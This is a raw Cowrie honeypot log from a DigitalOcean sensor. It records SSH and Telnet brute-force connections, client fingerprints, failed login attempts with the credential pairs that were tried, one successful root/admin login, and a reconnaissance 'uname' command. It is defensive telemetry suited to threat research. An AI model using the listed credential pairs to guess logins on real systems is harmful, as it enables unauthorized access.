{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:55:05.680928Z","src_ip":"91.92.40.4","session":"605fd5aa200a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":42002,"dst_ip":"159.203.135.109","dst_port":22,"session":"987c01abbe30","protocol":"ssh","message":"New connection: 160.187.174.22:42002 (159.203.135.109:22) [session: 987c01abbe30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:55:05.967053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:55:05.971190Z","src_ip":"160.187.174.22","session":"987c01abbe30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:55:06.245500Z","src_ip":"160.187.174.22","session":"987c01abbe30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tools","password":"tools","message":"login attempt [tools/tools] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:55:06.975630Z","src_ip":"160.187.174.22","session":"987c01abbe30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:55:08.222384Z","src_ip":"160.187.174.22","session":"987c01abbe30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":20.425176858901978,"message":"Connection lost after 20 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:55:20.034226Z","src_ip":"170.64.224.25","session":"6be58542922f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":36652,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c15f154ccae","protocol":"telnet","message":"New connection: 107.6.151.170:36652 (159.203.135.109:23) [session: 5c15f154ccae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:55:22.733518Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":35962,"dst_ip":"159.203.135.109","dst_port":22,"session":"bdb4dbdb5131","protocol":"ssh","message":"New connection: 160.187.174.22:35962 (159.203.135.109:22) [session: bdb4dbdb5131]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:55:35.321149Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:55:35.325369Z","src_ip":"160.187.174.22","session":"bdb4dbdb5131","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:55:35.564234Z","src_ip":"160.187.174.22","session":"bdb4dbdb5131","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"lighthouse123","message":"login attempt [lighthouse/lighthouse123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:55:36.286752Z","src_ip":"160.187.174.22","session":"bdb4dbdb5131","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:55:37.529821Z","src_ip":"160.187.174.22","session":"bdb4dbdb5131","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.372233152389526,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:55:53.105649Z","src_ip":"107.6.151.170","session":"5c15f154ccae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":49322,"dst_ip":"159.203.135.109","dst_port":22,"session":"a14b7133ecc2","protocol":"ssh","message":"New connection: 77.94.47.83:49322 (159.203.135.109:22) [session: a14b7133ecc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:56:02.448328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:56:02.453001Z","src_ip":"77.94.47.83","session":"a14b7133ecc2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:56:02.626076Z","src_ip":"77.94.47.83","session":"a14b7133ecc2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mattie","message":"login attempt [root/mattie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:56:02.969785Z","src_ip":"77.94.47.83","session":"a14b7133ecc2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:56:04.084499Z","src_ip":"77.94.47.83","session":"a14b7133ecc2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":57124,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a6fb881e6f9","protocol":"ssh","message":"New connection: 160.187.174.22:57124 (159.203.135.109:22) [session: 6a6fb881e6f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:56:05.201607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:56:05.210060Z","src_ip":"160.187.174.22","session":"6a6fb881e6f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:56:05.437799Z","src_ip":"160.187.174.22","session":"6a6fb881e6f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql123","message":"login attempt [mysql/mysql123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:56:06.351094Z","src_ip":"160.187.174.22","session":"6a6fb881e6f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:56:07.590194Z","src_ip":"160.187.174.22","session":"6a6fb881e6f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":51370,"dst_ip":"159.203.135.109","dst_port":22,"session":"15d8fc7fee4a","protocol":"ssh","message":"New connection: 103.15.222.183:51370 (159.203.135.109:22) [session: 15d8fc7fee4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:56:09.882239Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:56:09.886525Z","src_ip":"103.15.222.183","session":"15d8fc7fee4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:56:10.124442Z","src_ip":"103.15.222.183","session":"15d8fc7fee4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"13021994","message":"login attempt [root/13021994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:56:10.835561Z","src_ip":"103.15.222.183","session":"15d8fc7fee4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:56:12.070432Z","src_ip":"103.15.222.183","session":"15d8fc7fee4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":44244,"dst_ip":"159.203.135.109","dst_port":23,"session":"b07fde214b05","protocol":"telnet","message":"New connection: 170.64.224.25:44244 (159.203.135.109:23) [session: b07fde214b05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:56:14.936907Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":44254,"dst_ip":"159.203.135.109","dst_port":23,"session":"16b93162a1d1","protocol":"telnet","message":"New connection: 170.64.224.25:44254 (159.203.135.109:23) [session: 16b93162a1d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:56:16.819423Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":53990,"dst_ip":"159.203.135.109","dst_port":23,"session":"e259cabe64d1","protocol":"telnet","message":"New connection: 170.64.224.25:53990 (159.203.135.109:23) [session: e259cabe64d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:56:29.126993Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":56784,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba3ebdc8ad73","protocol":"ssh","message":"New connection: 160.187.174.22:56784 (159.203.135.109:22) [session: ba3ebdc8ad73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:56:34.439718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:56:34.450895Z","src_ip":"160.187.174.22","session":"ba3ebdc8ad73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:56:34.831447Z","src_ip":"160.187.174.22","session":"ba3ebdc8ad73","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:56:35.700421Z","src_ip":"160.187.174.22","session":"ba3ebdc8ad73","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:56:36.214902Z","src_ip":"160.187.174.22","session":"ba3ebdc8ad73","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:56:36.217745Z","src_ip":"160.187.174.22","session":"ba3ebdc8ad73","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:56:36.456774Z","src_ip":"160.187.174.22","session":"ba3ebdc8ad73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:56:36.461159Z","src_ip":"160.187.174.22","session":"ba3ebdc8ad73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.200.19","src_port":29656,"dst_ip":"159.203.135.109","dst_port":22,"session":"b02775d631a6","protocol":"ssh","message":"New connection: 43.160.200.19:29656 (159.203.135.109:22) [session: b02775d631a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:56:43.560772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:56:43.565287Z","src_ip":"43.160.200.19","session":"b02775d631a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:56:43.809741Z","src_ip":"43.160.200.19","session":"b02775d631a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qa12pl09","message":"login attempt [root/qa12pl09] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:56:44.819188Z","src_ip":"43.160.200.19","session":"b02775d631a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:56:46.067202Z","src_ip":"43.160.200.19","session":"b02775d631a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":40082,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b0eb20145a7","protocol":"telnet","message":"New connection: 170.64.224.25:40082 (159.203.135.109:23) [session: 4b0eb20145a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:56:54.874521Z"}
{"eventid":"cowrie.session.closed","duration":41.1643168926239,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:56:56.101076Z","src_ip":"170.64.224.25","session":"b07fde214b05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":49130,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c007ca19786","protocol":"ssh","message":"New connection: 160.187.174.22:49130 (159.203.135.109:22) [session: 3c007ca19786]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:57:03.567191Z"}
